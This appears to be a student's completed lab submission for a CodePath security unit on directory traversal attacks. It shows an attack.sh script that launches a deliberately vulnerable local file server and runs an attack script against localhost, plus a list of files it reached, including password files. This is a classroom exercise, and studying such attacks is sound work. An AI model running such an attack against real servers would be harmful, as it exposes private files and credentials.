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Reflection (Required)


 **Reflection Question #1:** If I had to **explain** “what is a directory traversal attack” in 3 emojis, they would be...

(Feel free to put other comments about your experience in this unit here, too!)



 **Reflection Question #2:** Why do we use a **.sh** file to run our attack?

It automates the steps for the attacks

 **Shoutouts:** Share appreciation for anyone who helped you out with this project or made your day a little better!

Required Challenges (Required)

Item #1: A screenshot of your completed `attack.sh` file:

```

codepath@lab000000:~/ftp_folder$ cat attack.sh
#!/bin/bash
# Author: Liang Gong
# Modified by: Sar Champagne Bielert (CodePath)
# Modified by: Andrew Burke (CodePath)

# These lines help the output print in color!
RED='\033[0;31m'
BLUE='\033[0;34m'
GREEN='\033[0;32m'
NC='\033[0m' # No Color

### Step 1: Start the server
echo -e "\t[${GREEN}start vulnerable server${NC}]: ${BLUE}hftp${NC}"

node scripts/start-server.js &
vulnpid=$!

### Step 2: Wait for the server to get started

sleep 3

echo -e "\t[${GREEN}server root directory${NC}]: $(pwd)"

### Step 3: Perform directory attack

ATTACK_PATH="http://localhost:8888/wanda/reports_original.txt"

node scripts/attack.js "$ATTACK_PATH"

### Step 4: Clean up the vulnerable npm package's process

kill -9 $vulnpid

```

Item #2: Three different files the Directory Traversal attack was able to access:

1. `/wanda/reports_original.txt`
2. `/wanda/passwords.txt`
3. `/timmy/passwords.txt`

Stretch Challenge (Optional)

Item #1: A screenshot of your Directory Traversal attack output to find the REAL earnings:
(using the `cat` command to view the file doesn't count!)

```

codepath@lab000000:~/ftp_folder$ ./attack.sh
[start vulnerable server]: hftp
Static file server running at
=> http://localhost:8888 type=ftp, workspace=/home/codepath/ftp_folder/
CTRL + C to shutdown
[server root directory]: /home/codepath/ftp_folder
[directory traversal attack]: http://localhost:8888/wanda/reports_original.txt
[directory traversal request response]: Earnings are down 1600%...

```

Submission Checklist

👉 Check off each of the features you have completed. **You will only be graded on the features you check off.**

Required Challenges

- ☒ Item #1
- ☒ Item #2

Stretch Challenge

- ☒ Item #1